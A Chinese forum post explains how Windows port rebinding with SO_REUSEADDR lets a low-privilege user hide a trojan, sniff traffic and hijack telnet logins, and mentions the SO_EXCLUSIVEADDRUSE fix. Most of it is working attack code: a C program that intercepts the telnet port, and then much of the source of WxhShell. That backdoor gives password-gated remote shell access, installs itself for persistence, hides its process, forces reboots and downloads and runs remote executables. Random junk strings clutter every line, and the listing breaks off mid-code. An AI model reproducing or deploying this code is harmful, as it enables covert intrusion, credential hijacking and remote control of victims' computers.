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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =?lT&|"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); I%&9`ceWY  
Lr^xp,_n  
  saddr.sin_family = AF_INET; U&5zs r  
^M9oTNk2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2mO#vTX4  
RmQt%a7\{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); L7g&]%  
g-^m\>B  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 vraU&ze\1  
:6/OU9f/R  
  这意味着什么?意味着可以进行如下的攻击: u s0'7|{q  
d{hYT\7~1(  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 VB\6S G  
##@#:B  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) gdK/:%u3  
Ak1)  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Fdw[CYHz  
wUeOD.;#F  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  nnNg^<[k3  
#[W[ |m  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 PQ]9xzOg[  
~K96y$ DTE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @>@Nu g2   
gL"}53A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 PoJyWC  
+I n"OR%  
  #include \Ji2u GT  
  #include Q/n.T0Z ^  
  #include ?v8k& q^q  
  #include    ]M(f^   
  DWORD WINAPI ClientThread(LPVOID lpParam);   KL  mB  
  int main() CD1=2  
  { *F*fH>?C#  
  WORD wVersionRequested; /&:9VMMj  
  DWORD ret; J_|}Xd)~t6  
  WSADATA wsaData; 8VmN? "5v  
  BOOL val; t)Q @sKT6  
  SOCKADDR_IN saddr; . b`P!  
  SOCKADDR_IN scaddr; 2P_^@g  
  int err; 25n (&NV  
  SOCKET s; 0r ; nz]'  
  SOCKET sc; K=?F3tX^  
  int caddsize; ].P(/~FS9  
  HANDLE mt; #(+HSZm  
  DWORD tid;   _`{{39 F  
  wVersionRequested = MAKEWORD( 2, 2 ); !#:$u=  
  err = WSAStartup( wVersionRequested, &wsaData ); 2 `h!:0  
  if ( err != 0 ) { $A@3ogoS&  
  printf("error!WSAStartup failed!\n"); <`_OpNxqW  
  return -1; {dx /p-Tv  
  } :@`(}5F4  
  saddr.sin_family = AF_INET; nYy}''l<  
   ;3}EB cw)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 : KP'xf.  
Rfc&OV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); kqvJ&7  
  saddr.sin_port = htons(23); lhA s!\F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) if[o?6U4t  
  { $`5lvy^  
  printf("error!socket failed!\n"); tP Efz+1N  
  return -1; sMS9!{A  
  } $jed{N7Y  
  val = TRUE; #f3;}1(  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 +>:}req  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zt[4_;2Y  
  { dHq )vs,L  
  printf("error!setsockopt failed!\n"); %t*  
  return -1; qNxB{0(D  
  } xST4}Mb^f  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; dy2rkV.z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 FbAW_Am(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?C-Towo=i  
3Q^fVn$tk  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7[pBUDA  
  { 1q7tiMvV-  
  ret=GetLastError(); 0#_'o ,  
  printf("error!bind failed!\n"); ?)D^~/ A  
  return -1; L gk   
  } 7gF"=7{-  
  listen(s,2); Z4b||  
  while(1) zeb=8 Dg :  
  { Mkxi~p%<r  
  caddsize = sizeof(scaddr); IxZb$h[  
  //接受连接请求 ULJmSe  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); L{-LX= G^  
  if(sc!=INVALID_SOCKET) *ISZlR\#  
  { M5357Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Pe73g%  
  if(mt==NULL) dt@P>rel  
  { ia@'%8  
  printf("Thread Creat Failed!\n"); H,unpZ(  
  break; K<`osdp=&  
  } k <iTjI*N  
  } s$ENFp7P  
  CloseHandle(mt); F,BOgWwP  
  } -VKS~{  
  closesocket(s); }@ Z56  
  WSACleanup(); soA|wk\A  
  return 0; `.jzuX  
  }   YHkcWz  
  DWORD WINAPI ClientThread(LPVOID lpParam) U1_@F$mq<  
  { b V+(b9  
  SOCKET ss = (SOCKET)lpParam; ygJr=_iA9  
  SOCKET sc; S{pXs&4O  
  unsigned char buf[4096]; ,2Q o7(A  
  SOCKADDR_IN saddr; ZYU=\  
  long num; '.Ed`?<p  
  DWORD val; _.IxRk)T  
  DWORD ret; Qd}m`YW-f$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @AHm!9?o  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   [FA{x?v kf  
  saddr.sin_family = AF_INET; ]^':Bmq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Nf>]|K:Q  
  saddr.sin_port = htons(23); poGc a1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 61puqiGG^  
  { S#)Eom?V  
  printf("error!socket failed!\n"); *n" /a{6>  
  return -1; (" LQll9  
  } VE+IKj!VG0  
  val = 100; p' M%XBu  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d ;vT ~;  
  { |f~@8|MQP+  
  ret = GetLastError(); * #jsgj[  
  return -1; I}Nd$P)>  
  } z<H~ItX,n  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 'smWLz}  
  { |D, +P  
  ret = GetLastError(); =]:>"_jN  
  return -1; f$NMM >z  
  } I%- " |]$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y3Vlp/"rB"  
  {  r.4LU  
  printf("error!socket connect failed!\n"); Cmc3k,t  
  closesocket(sc); J[f;Xlh  
  closesocket(ss); oc8:r  
  return -1; FQ g~l4WX  
  } Yjx|9_|Xn  
  while(1) jqPkc28  
  { B6wRg8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 0eK*9S]  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ByCnD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7o8{mp'_  
  num = recv(ss,buf,4096,0); \ Y"Wu  
  if(num>0) #1>X58I^  
  send(sc,buf,num,0); R: l&2k@  
  else if(num==0) 4 :U?u  
  break; **}h&k&%2  
  num = recv(sc,buf,4096,0); o6V}$wT3J  
  if(num>0) ^tXJj:wtS  
  send(ss,buf,num,0); '` pDngX  
  else if(num==0) y~)1 1]'>  
  break; OE}*2P/M>  
  } ">#wOm+ +  
  closesocket(ss); Z)jw|T'X  
  closesocket(sc); 9W(dmde>  
  return 0 ; kT;S4B  
  } XLH0 ;+CL{  
lV%N  
?M[ A7?  
========================================================== Yb E-6|cz  
L'F<ev  
下边附上一个代码,,WXhSHELL =Q.^c.sw  
`QXErw  
========================================================== gvL f|+m  
l8?>>.<P=  
#include "stdafx.h" >yULC|'F&~  
t^w"w`v\u  
#include <stdio.h> 5=f|7yl  
#include <string.h> mya_4I m  
#include <windows.h> ~c&bH]cj  
#include <winsock2.h> m@^1JlH  
#include <winsvc.h> |9B.mBoX  
#include <urlmon.h> 5F~'gLH/F-  
RO.k]x6  
#pragma comment (lib, "Ws2_32.lib") ^Y'HaneoM  
#pragma comment (lib, "urlmon.lib") _ ]Z s,Hy  
 jrS[f  
#define MAX_USER   100 // 最大客户端连接数 .,OVzW  
#define BUF_SOCK   200 // sock buffer l?Ya"C`FL  
#define KEY_BUFF   255 // 输入 buffer B#M5}QT|2  
f`[R7Q5  
#define REBOOT     0   // 重启 6Aku1h  
#define SHUTDOWN   1   // 关机 R;j!}D!4  
9<>wIl*T`  
#define DEF_PORT   5000 // 监听端口 9o+)?1\  
QnJZr:4b  
#define REG_LEN     16   // 注册表键长度 lR(+tj)9uO  
#define SVC_LEN     80   // NT服务名长度 uB]b}"+l  
](s'L8 (x  
// 从dll定义API C<P%CG&;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hy`?E6=9+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); w$Rro)?}7  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (Kv#m 3~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); hK_LEwd;  
%;rHrDP(>  
// wxhshell配置信息 Gy6l<:;  
struct WSCFG { ,.7*Hpa  
  int ws_port;         // 监听端口 <UQe.K"  
  char ws_passstr[REG_LEN]; // 口令 8/=L2fNN[  
  int ws_autoins;       // 安装标记, 1=yes 0=no apu4DAy&8  
  char ws_regname[REG_LEN]; // 注册表键名  t$De/Uq  
  char ws_svcname[REG_LEN]; // 服务名 fIsp;ca[k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?]}8o}G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iy%ZQ[Un  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~W{2Jd  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "t~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GhIKvX_N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !y@6Mm  
o !vE~  
}; (G[ *|6m  
p{j.KI s7  
// default Wxhshell configuration ~1>.A(,=z  
struct WSCFG wscfg={DEF_PORT, id1s3b;  
    "xuhuanlingzhe", 70eb]\%  
    1, 'LE =6{#  
    "Wxhshell", #6CC3TJ'k  
    "Wxhshell", OUhqM VX9C  
            "WxhShell Service", C,v(:ZE$J7  
    "Wrsky Windows CmdShell Service", ZOZ+Y\uU  
    "Please Input Your Password: ", <|SRe6m  
  1, _t^{a]/H  
  "http://www.wrsky.com/wxhshell.exe", 5nKj )RH7M  
  "Wxhshell.exe" !Rhl f.x  
    }; j'MO(ev  
9f<MQ6_UU  
// 消息定义模块 /(.mp<s0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |bO"_U  
char *msg_ws_prompt="\n\r? for help\n\r#>"; qLB) XnQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !& z(:d  
char *msg_ws_ext="\n\rExit."; w%JTTru  
char *msg_ws_end="\n\rQuit."; USM4r!x  
char *msg_ws_boot="\n\rReboot..."; 4*Hgv:0?kI  
char *msg_ws_poff="\n\rShutdown..."; %nV]ibp2)  
char *msg_ws_down="\n\rSave to "; 7~5ym15*  
jAm3HI   
char *msg_ws_err="\n\rErr!"; A m>cd;  
char *msg_ws_ok="\n\rOK!"; O8j_0  
nv~%#|v_W  
char ExeFile[MAX_PATH]; fvdU`*|n)  
int nUser = 0; fR*q?,  
HANDLE handles[MAX_USER]; 7Z-O_h3;)@  
int OsIsNt; 8j=}u/T@F  
^HqY9QT2  
SERVICE_STATUS       serviceStatus; WRrd'{sB  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'U\<IL#U  
b"#WxgaF  
// 函数声明 V;:jZpG  
int Install(void); U8LtG/  
int Uninstall(void); woD>!r>)  
int DownloadFile(char *sURL, SOCKET wsh); 2 -C!jAfd  
int Boot(int flag);  D0% Ug>  
void HideProc(void); Zw ^kmSL"  
int GetOsVer(void); OslL~<  
int Wxhshell(SOCKET wsl); 'i4_`^:+  
void TalkWithClient(void *cs); dAkgR~  
int CmdShell(SOCKET sock); =A!@6Nw  
int StartFromService(void); 8(~K~q[Cr  
int StartWxhshell(LPSTR lpCmdLine);  ng_^  
L.jh   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xx{PespNt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S'_-G;g.  
 Pyb Z)5u  
// 数据结构和表定义 [g:$K5\64  
SERVICE_TABLE_ENTRY DispatchTable[] = Ai gS!-   
{ (tZrw5 @  
{wscfg.ws_svcname, NTServiceMain}, n=c 2K c  
{NULL, NULL} &' Ne! o8  
}; e0T34x'  
OG~6L4"  
// 自我安装 GJtZ&H  
int Install(void) R)RG[F#   
{ -1U D0(  
  char svExeFile[MAX_PATH]; d [V;&U  
  HKEY key; lMg+R<$~I  
  strcpy(svExeFile,ExeFile); I/L_@X<*r  
Ct=- 4  
// 如果是win9x系统,修改注册表设为自启动 ] 0B2# d  
if(!OsIsNt) { Z3& _  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7[5.> h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [`rba'  
  RegCloseKey(key); !WpBfd>v.I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +(1zH-^.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MF'$~gxo  
  RegCloseKey(key); G1"zElug  
  return 0; , 'ZD=4_  
    } <Gt2(;  
  } =|%Cu&  
} |&[L?  
else { l-s!A(l  
5KDGSo  
// 如果是NT以上系统,安装为系统服务 vpld*TL*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "E8zh|m o  
if (schSCManager!=0) bX*Hi#J~A  
{ x7<\] 94  
  SC_HANDLE schService = CreateService 3&[>u;Bp  
  ( )d$glI+  
  schSCManager, I{lT>go  
  wscfg.ws_svcname, S`"LV $8  
  wscfg.ws_svcdisp, ?I [8'  
  SERVICE_ALL_ACCESS, jGEt+\"/QJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Sz^5b!  
  SERVICE_AUTO_START, Ircp``g  
  SERVICE_ERROR_NORMAL, \z$p%4`E@  
  svExeFile, _=NwQu\_F  
  NULL, |d*&y#kV  
  NULL, 4 &_NJ\  
  NULL, <oWB0%  
  NULL, Q`rF&)Q5  
  NULL `S2[5i  
  ); &p}$J )q  
  if (schService!=0) dd\n8f  
  { GF>'\@Th  
  CloseServiceHandle(schService); gx&Tt  
  CloseServiceHandle(schSCManager); qnoNT%xazo  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AwTJJ0>  
  strcat(svExeFile,wscfg.ws_svcname); ;[W"mlM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 98WZ){+,m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1xbK'i:-S  
  RegCloseKey(key); B7]C]=${m  
  return 0; .9"Y_/0   
    } CWNx4)ZGw  
  } Y;e,Gq`  
  CloseServiceHandle(schSCManager); Nof3F/2 N&  
} qqu.EE  
} x,otFp  
 k0  
return 1; HS.^y x  
} K,e w>U  
x)JOClLr  
// 自我卸载 }Y*VAnY6;  
int Uninstall(void) V`RNM%Y  
{ j8n4fv-)f  
  HKEY key; 7yz4'L  
MUA%^)#u4Q  
if(!OsIsNt) { Pf_S[ sm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DF g,Xa#  
  RegDeleteValue(key,wscfg.ws_regname); %<\6TZr  
  RegCloseKey(key); ?qX)ihe%k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0q*r  
  RegDeleteValue(key,wscfg.ws_regname); 5 gv/Pq&  
  RegCloseKey(key); PNA\ TXT  
  return 0; ~j#]tElb  
  } |0\0a&tkPl  
} 6sE{{,OGB  
} gi-Yqco  
else { v 0kqu  
Ik[s  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); R-RDT9&<  
if (schSCManager!=0) tBm_YP[  
{ (s1k$@d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =1u@7Bh  
  if (schService!=0) `$~Rxz Z g  
  { :KKa4=5L  
  if(DeleteService(schService)!=0) { shH~4<15  
  CloseServiceHandle(schService); q\q=PB6r  
  CloseServiceHandle(schSCManager); !{82D[5  
  return 0; -\y-qHgb/  
  } nZ_v/?O  
  CloseServiceHandle(schService); +e-,ST&w(  
  } 2TES>}  
  CloseServiceHandle(schSCManager); ZKz,|+X0G  
} "iM~Hy  
} a2f^x@0k  
.,i(2^  
return 1; m rJQ#  
} >?]_<:  
|w*R8ro_  
// 从指定url下载文件 5PIZh<  
int DownloadFile(char *sURL, SOCKET wsh) kwud?2E  
{ 0vGyI>  
  HRESULT hr; {i*2R^5  
char seps[]= "/"; Qe'g3z>  
char *token; D-U<u@A4  
char *file; Nk;iiz+_p  
char myURL[MAX_PATH]; Z Dhx5SL&  
char myFILE[MAX_PATH]; BT_tOEL#  
{3Y )rY!z  
strcpy(myURL,sURL); %Td )0Lqp  
  token=strtok(myURL,seps); Q*YYTmZ  
  while(token!=NULL) ya -i^i\  
  { ,WQ^tI=O  
    file=token; $>R(W=Q  
  token=strtok(NULL,seps); m7%C#+67  
  } rxO2js  
m9md|yS  
GetCurrentDirectory(MAX_PATH,myFILE); _0pO8o-x  
strcat(myFILE, "\\"); %vO<9fE|1  
strcat(myFILE, file); zTD@  
  send(wsh,myFILE,strlen(myFILE),0); kz q29S  
send(wsh,"...",3,0); [`Cq\mI-W  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XjE>k!=I  
  if(hr==S_OK) #*c F8NV-  
return 0; L fl-!1  
else cE{ =(OQ  
return 1; (vJ2z =z  
X['2b78k  
} &kQ!KA28  
[ B0K  
// 系统电源模块 Gy@7Xf  
int Boot(int flag) ]$M<]w,IJ2  
{ *OdX u&5  
  HANDLE hToken; R: aYL~  
  TOKEN_PRIVILEGES tkp; 0m+8P$)C%  
z}.D" P+  
  if(OsIsNt) { W3Ulewa  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K` nJVc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &!y]:CC{  
    tkp.PrivilegeCount = 1; Jbp5'e _  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m&R"2t_Z  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >]}yXg=QK+  
if(flag==REBOOT) { ?z"KnR+?Q  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) V+w u  
  return 0; C$#W{2x%6  
} r(}nhUQ%E  
else { 9DEh*%q  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [BBpQN.^q6  
  return 0; y,<$X.>QO|  
} c6b0*!D"}  
  } 7CrpUh  
  else { xaL#MIR"u"  
if(flag==REBOOT) { Dw |3Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) _2jw,WKr  
  return 0; DMkhbo&+  
} NygI67  
else { IM ad$AKc  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "E>t, D  
  return 0; }f}IA\8]  
} kUHie   
} lIuXo3  
i=8UBryr'e  
return 1; 7Qh_8M  
} vF>gU_gz.  
<lOaor c  
// win9x进程隐藏模块 S!7g)  
void HideProc(void) a{_ KSg  
{ b|ZLX:  
IT1P Pm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L#j |2H|  
  if ( hKernel != NULL ) oP]L5S&A  
  { Tiprdvm<  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?`A9(#ySM  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lcig7%  
    FreeLibrary(hKernel); 79z)C35~  
  }  9d"5wx  
~Oh=   
return; Ofm5[q=  
} _>v0R'  
M@O2 WB1ws  
// 获取操作系统版本 .&chdVcxyS  
int GetOsVer(void) h]P/KVqR.  
{ =xBT>h;  
  OSVERSIONINFO winfo; C*O ,rm}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [tm[,VfA^  
  GetVersionEx(&winfo); sJ7sjrEp 1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t{=i=K 3  
  return 1; ;>C9@S+  
  else 4OEKx|:5n  
  return 0; \c68n  
} \[k% )_  
1C'P)f28  
// 客户端句柄模块 WQ.i$ID/  
int Wxhshell(SOCKET wsl) aG Ef#A  
{ RnSm]}?  
  SOCKET wsh; /4H[4m]I  
  struct sockaddr_in client; fwH`}<o  
  DWORD myID; #~1wv^  
j Ii[  
  while(nUser<MAX_USER) hU)'OKe  
{ x?rbgsB5&  
  int nSize=sizeof(client); oc((Yo+B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [%t3[p<)O  
  if(wsh==INVALID_SOCKET) return 1; _^b@>C>O  
mw Z'=H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -+' #*V  
if(handles[nUser]==0) -^R b7 g-  
  closesocket(wsh); DH/L`$  
else EFwL.'Fh  
  nUser++; &!6DC5  
  } $mD>r x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Fj,(_^  
LjC6?a_?l  
  return 0; '}T;b}&s  
} }R`Irxv4  
Q QT G9s  
// 关闭 socket |&Au6 3  
void CloseIt(SOCKET wsh) BL0 |\&*1  
{ ?LR"hZ>  
closesocket(wsh); K`~BL=KI  
nUser--; [\88@B=jXP  
ExitThread(0); Pf{`/UlD  
} :cEd[Jm9  
D7M0NEY  
// 客户端请求句柄 6hLNJ  
void TalkWithClient(void *cs) r7RU"H:j8  
{ xkF$D:s P  
>H)^6sJ;%b  
  SOCKET wsh=(SOCKET)cs; I'xC+nL@  
  char pwd[SVC_LEN]; sE-x"c  
  char cmd[KEY_BUFF]; C?{D"f`[]  
char chr[1]; =?wMESU  
int i,j; <Kh?Ad>N  
gH5CB%)  
  while (nUser < MAX_USER) { 2rF?Q?$,B  
V;H d)v( j  
if(wscfg.ws_passstr) { W^003*m~~K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1 pa*T!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tF<^9stM  
  //ZeroMemory(pwd,KEY_BUFF); 2]2{&bu  
      i=0; ZGA)r0] P`  
  while(i<SVC_LEN) { *Yj~]E0`1  
qbEKp HnB  
  // 设置超时  <V7SSm  
  fd_set FdRead; JL?Cnk$!  
  struct timeval TimeOut; 7U&5^s )J  
  FD_ZERO(&FdRead); oK#\HD4U  
  FD_SET(wsh,&FdRead); ay=KfY5  
  TimeOut.tv_sec=8; z\e>DdS  
  TimeOut.tv_usec=0; +fC#2%VnU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .Ln;m8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); L@>^_p$  
\_lG#p|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I/^q+l.=`{  
  pwd=chr[0]; 4kWg>F3  
  if(chr[0]==0xd || chr[0]==0xa) { <P|`7wfxE  
  pwd=0; 's$A+8;L  
  break; fndK/~?]H  
  } [SCw<<l<  
  i++; T g3:VD  
    } <^CYxy  
}V\P,ck  
  // 如果是非法用户,关闭 socket Ix*BI9E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .tZjdNE(h  
} 8W19#?7>B  
Gojl0?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); zWF 5m )-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ED!J~lg8  
g,00'z_D  
while(1) { i0,%}{`  
aeG#: Ln+{  
  ZeroMemory(cmd,KEY_BUFF); )p^m}N 6M]  
b}ySZlmy  
      // 自动支持客户端 telnet标准   a9yIV5_N  
  j=0; E9yFREvQc  
  while(j<KEY_BUFF) { g0^~J2sDd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Vpug"aR&_  
  cmd[j]=chr[0]; Y&?|k'7  
  if(chr[0]==0xa || chr[0]==0xd) { tU+@1~ ~  
  cmd[j]=0; "\VW. S  
  break; LL|_c4$Ky  
  } X@6zI-Y %  
  j++; 3v9gb,)y\  
    } }4bB7,j  
Eg@R[ ^T  
  // 下载文件 qPFG+~\c  
  if(strstr(cmd,"http://")) { ;whFaQi 4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Fpj6Atk  
  if(DownloadFile(cmd,wsh)) #,f}lV,&  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F<PWBs%  
  else 6MLN>)t  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7h9fQ&y  
  } eh({K;>  
  else { GibggOj2Q,  
Gt\K Ln  
    switch(cmd[0]) { 4 |:Q1  
  T+AlcOP  
  // 帮助 3b g4#c  
  case '?': { s T :tFK\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^7ea6G"  
    break; Q|j@#@O1  
  } R,d70w (_  
  // 安装 z:ru68  
  case 'i': { Y{Y;EY4  
    if(Install()) , 6EZb[;g^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @\%)'WU  
    else 'f=)pc#&g  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y(c|5CQ  
    break; /XWPN(JC?  
    } 9Sx<tj_4P{  
  // 卸载 5CY@R  
  case 'r': { 4! Oa4  
    if(Uninstall()) ;+r)j"W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ecY ^C3+S  
    else 6mI_Q2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .WL\:{G8;  
    break; 5O;a/q8"  
    } ! kOl$!X4  
  // 显示 wxhshell 所在路径 V 9QvQA r  
  case 'p': { s{"`=dKT  
    char svExeFile[MAX_PATH]; 0TuOY%+  
    strcpy(svExeFile,"\n\r"); N#pl mPrZ  
      strcat(svExeFile,ExeFile); JGSk4  
        send(wsh,svExeFile,strlen(svExeFile),0); ga{25q}"  
    break; rt@-Pw!B  
    } Cj4b]*Q,  
  // 重启 QnP?;  
  case 'b': { vZ nO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~gi( 1<#  
    if(Boot(REBOOT)) oVEr{K)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XM@-Y&c$A  
    else { tFST.yT>zg  
    closesocket(wsh); 602eLV)  
    ExitThread(0); 2`FsG/o\T~  
    } 3R=3\;  
    break; ^$Eiz.  
    } 6dS1\Y  
  // 关机 %`\3V {2*  
  case 'd': { kG;\i  
